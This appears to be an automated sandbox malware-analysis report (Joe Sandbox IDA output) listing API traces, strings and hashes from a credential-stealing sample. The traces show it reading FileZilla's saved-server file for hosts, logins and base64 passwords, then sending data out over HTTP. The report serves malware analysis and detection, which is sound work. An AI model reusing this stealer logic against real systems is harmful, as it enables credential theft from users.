GetProcAddress.KERNEL32(75DA0000,00D55410), ref: 0041A50A
GetProcAddress.KERNEL32(6F070000,00D55C08), ref: 0041A530
GetProcAddress.KERNEL32(6F070000,00D55BA8), ref: 0041A548
GetProcAddress.KERNEL32(6F070000,00D55AC8), ref: 0041A560
GetProcAddress.KERNEL32(6F070000,00D553C8), ref: 0041A579
GetProcAddress.KERNEL32(6F070000,00D55A68), ref: 0041A591
GetProcAddress.KERNEL32(6F070000,00D558E8), ref: 0041A5A9
GetProcAddress.KERNEL32(6F070000,00D55AA8), ref: 0041A5C2
GetProcAddress.KERNEL32(6F070000,00D55988), ref: 0041A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75AF0000,00D55428), ref: 0041A629
GetProcAddress.KERNEL32(75AF0000,00D54C88), ref: 0041A641
GetProcAddress.KERNEL32(75AF0000,00D55398), ref: 0041A659
GetProcAddress.KERNEL32(75AF0000,00D553E0), ref: 0041A672
GetProcAddress.KERNEL32(75D90000,00D559C8), ref: 0041A693
GetProcAddress.KERNEL32(6CEF0000,00D55440), ref: 0041A6B4
GetProcAddress.KERNEL32(6CEF0000,00D55AE8), ref: 0041A6CD
GetProcAddress.KERNEL32(6CEF0000,00D553B0), ref: 0041A6E5
GetProcAddress.KERNEL32(6CEF0000,00D553F8), ref: 0041A6FD

Strings

HttpQueryInfoA, xrefs: 0041A5FC
InternetSetOptionA, xrefs: 0041A5E5

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,00D51C70,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,00D56110,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,00D56248,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,00D56320,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,00D56230,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,00D56470,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,00D56110,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,00D56248,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,00D56320,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,00D56230,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,00D564D8,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,00D56110,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,00D56248,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,00D56320,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,00D56230,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,00D56540,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,00D56110,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,00D56248,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,00D56320,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,00D56230,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,00D565A8,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,00D56110,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,00D56248,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,00D56320,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,00D56230,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,00D56610,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,00D56110,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,00D56248,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,00D56320,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,00D56230,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(2D232020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D232020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D232020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D232020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D232020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D232020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D232020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,00D54F38,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,00D55868), ref: 00407E1E
lstrlenA.KERNEL32(2D232020), ref: 00407E2B
lstrlenA.KERNEL32(2D232020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

password: , xrefs: 004105FB
profile: null, xrefs: 00410568
browser: FileZilla, xrefs: 00410559
<Pass encoding="base64">, xrefs: 0041045A
NA, xrefs: 0041072E, 004106AF, 004106B2
<Port>, xrefs: 004103C6
login: , xrefs: 004105CA
url: , xrefs: 00410577
<Host>, xrefs: 0041037C
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<User>, xrefs: 00410410

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,00D54F68), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,00D54F78,?,00D562F0,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,00D55008,00000000,?,00D49ED8,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
HeapAlloc.KERNEL32(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

------, xrefs: 004054F9
--, xrefs: 00405280
", xrefs: 00405482
", xrefs: 00405706
------, xrefs: 00405297
------, xrefs: 004053B7
", xrefs: 004055C4
------, xrefs: 0040563B

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,00D54F68), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00D56828,00000000,?,00D49ED8,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,00D54F78,?,00D562F0,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

", xrefs: 00405CD5
", xrefs: 00405E16
------, xrefs: 00405A96
------, xrefs: 00405C0B
------, xrefs: 00405D4C

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

